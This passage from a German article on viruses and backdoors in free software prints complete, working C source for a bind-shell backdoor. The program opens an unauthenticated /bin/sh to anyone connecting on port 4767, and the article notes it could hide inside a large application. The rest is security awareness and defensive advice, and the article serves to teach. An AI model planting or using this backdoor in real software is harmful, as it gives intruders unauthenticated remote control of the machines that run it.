Das Hintertürproblem ist wichtig, auch für freie Software. Natürlich kann man, wenn der Quellcode eines Programms verfügbar ist, theoretisch überprüfen, was es macht. Tatsächlich lesen nur sehr wenige Leute den Code, der aus dem Internet geladen wurde. Zum Beispiel enthält das kleine Programm unten eine vollständige Hintertür, weil es klein ist, erlaubt es, sich in genügend großen Applikationen zu verstecken. Dieses Programm wurde von einem Beispiel aus meinem Buch [BLAESS 00] abgeleitet, das die Mechanismen eines Pseudoterminals illustriert. Dieses Programm ist nicht sehr lesbar, da es unkommentiert ist, um es kürzer zu machen. Die meisten Fehlerüberprüfungen wurden aus demselben Grund entfernt. Wenn es ausgeführt wird, öffnet es einen TCP/IP Server auf dem zu Beginn des Programms (default 4767) erwähnten Port auf jeder Netzwerkschnittstelle der Maschine. Jede angeforderte Verbindung zu diesem Port wird automatisch auf eine Shell ohne Autentifikation zugreifen !!!
#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define ADRESSE_BACKDOOR INADDR_ANY
#define PORT_BACKDOOR 4767
int
main (void)
{
int sock;
int sockopt;
struct sockaddr_in adresse; /* address */
socklen_t longueur; /* length */
int sock2;
int pty_maitre; /* pty_master */
int pty_esclave; /* pty_slave */
char * nom_pty; /* name_pty */
struct termios termios;
char * args [2] = { "/bin/sh", NULL };
fd_set set;
char buffer [4096];
int n;
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
sizeof(sockopt));
memset (&adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) &adresse, sizeof (adresse)))
exit (1);
listen (sock, 5);
while (1) {
longueur = sizeof (struct sockaddr_in);
if ((sock2 = accept (sock, &adresse, &longueur)) < 0)
continue;
if (fork () == 0) break;
close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, &termios);
if (fork () == 0) {
/* Son: shell execution in the slave
pseudo-TTY */
close (pty_maitre);
setsid();
pty_esclave = open (nom_pty, O_RDWR);
tcsetattr (pty_esclave, TCSANOW, &termios);
dup2 (pty_esclave, STDIN_FILENO);
dup2 (pty_esclave, STDOUT_FILENO);
dup2 (pty_esclave, STDERR_FILENO);
execv (args [0], args);
exit (1);
}
/* Father: copy of the socket to the master pseudo-TTY
and vice versa */
tcgetattr (pty_maitre, &termios);
cfmakeraw (&termios);
tcsetattr (pty_maitre, TCSANOW, &termios);
while (1) {
FD_ZERO (&set);
FD_SET (sock2, &set);
FD_SET (pty_maitre, &set);
if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
&set, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock2, &set)) {
if ((n = read (sock2, buffer, 4096)) < 0)
break;
write (pty_maitre, buffer, n);
}
if (FD_ISSET (pty_maitre, &set)) {
if ((n = read (pty_maitre, buffer, 4096)) < 0)
break;
write (sock2, buffer, n);
}
}
return (0);
}
Einfügen eines solchen Codes in eine große
Applikation (sendmail zum Beispiel) wird lange Zeit
unbemerkt bleiben, lange genug, um freche Infiltration zu
erlauben. außerdem sind einige Leute fast Meister in der
Kunst, die Arbeit eines Stück Codes zu verstecken, wie die
Programme, die jedes Jahr zum IOCC (International
Obsfucated C Code Contest) Wettbewerb eingereicht werden,
beweisen können.
Hintertüren dürfen nicht nur als theoretische Möglichkeiten betrachtet werden. Solche Schwierigkeiten wurden wirklich angetroffen, z.B. im Piranha Paket von der Red-Hat 6.2 Distribution, die ein Defaultpasswort akzeptierte. Das Spiel Quake 2 wurde ebenfalls verdächtigt, eine Hintertür zu verstecken, die entfernte Befehlsausführung erlaubte.
Die Hintertürmechanismen könne sich auch selbst in so komplexen Erscheinungen verstecken, daß sie für die meisten Leute nicht entdeckbar sind. Ein typischer Fall ist der, der Verschlüsselungssysteme betrifft. Z.B. das SE-Linuxsystem, es wurde durch Sicherheitspatche vom NSA "sicherer" gemacht. Die Linuxentwickler, die die gelieferten Patche überprüften, sagten, daß sie nichts verdächtiges gesehen haben, aber niemand kann sicher sein und nur sehr wenige Leute haben die erforderlichen mathematischen kenntnisse, um solche Verwundbarkeiten zu erkennen.
Betrachtet man diese schädlichen Programme, die in der Gnu/Linuxwelt gefunden wurden, erlaubt es uns zu schließen: freie Software ist nicht sicher vor Viren, Würmern, Trojanischn Pferden und anderen. Ohne zu hastig zu sein, muß man Sicherheitswarnungen, die aktuelle Applikationen betreffen, beobachten, besonders wenn die Verbindung einer Workstation zum Internet häufig ist. Es ist wichtig, sich jetzt gute Gewohnheiten anzugewöhnen: update Software sobald eine Verwundbarkeit gefunden wurde; benutzte nur die erforderlichen Netzwerkdienste; lade nur Applikationen von Webseiten, denen man trauen kann, herunter. Überprüfe sooft wie möglich die PGP oder MD5 Signaturen für die heruntergeladenen Pakete. Die "ernsthafteren" Leute werden die Kontrolle installierter Applikationen automatisieren, mit Skripten zum Beispiel.
Eine zweite Anmerkung ist erforderlich: die zwei Hauptgefahren für Linuxsysteme der Zukunft sind entweder die Produktivitätsapplikationen, die blind Macros, die in Dokumenten (einschließlich Email) enthalten sind, ausführen oder multi-plattform Viren, die, auch wenn sie unter Windows ausgeführt wurden in ausführbare Dateien, auf einer Linuxpartition auf derselben Maschine, eindringen. Während das erste Problem vom Benutzerverhalten abhängt, die ihen Produktivitaätsapplikationen nicht erlauben sollten, alles zu akzeptieren, so ist das zweite eher schwierig zu lösen, auch für einen gewissenhaften Adminsitrator. In sehr naher Zukunft müßten sehr leistungsstarke Virenscanner für Linuxworkstations, die mit dem Internet verbunden sind, implemnetiert werden. Laßt uns hoffen, daß solche Projekte sehr bald in der freien Softwarewelt auftauchen werden.
Die Anzahl von Dokumenten über Viren, Trojanische Pferde und andere Softwaregefahren ist ein wichtiger indikator; es gibt viele Texte, die über aktuelle Viren reden, wie sie arbeiten und was sie tun. Natürlich betreffen die meisten dieser Listen Dos/Windows, aber einige betreffen Linux. Die hier erwähnten Artikel sind eher klassisch und analysieren die implementierten theoretischen Mechanismen.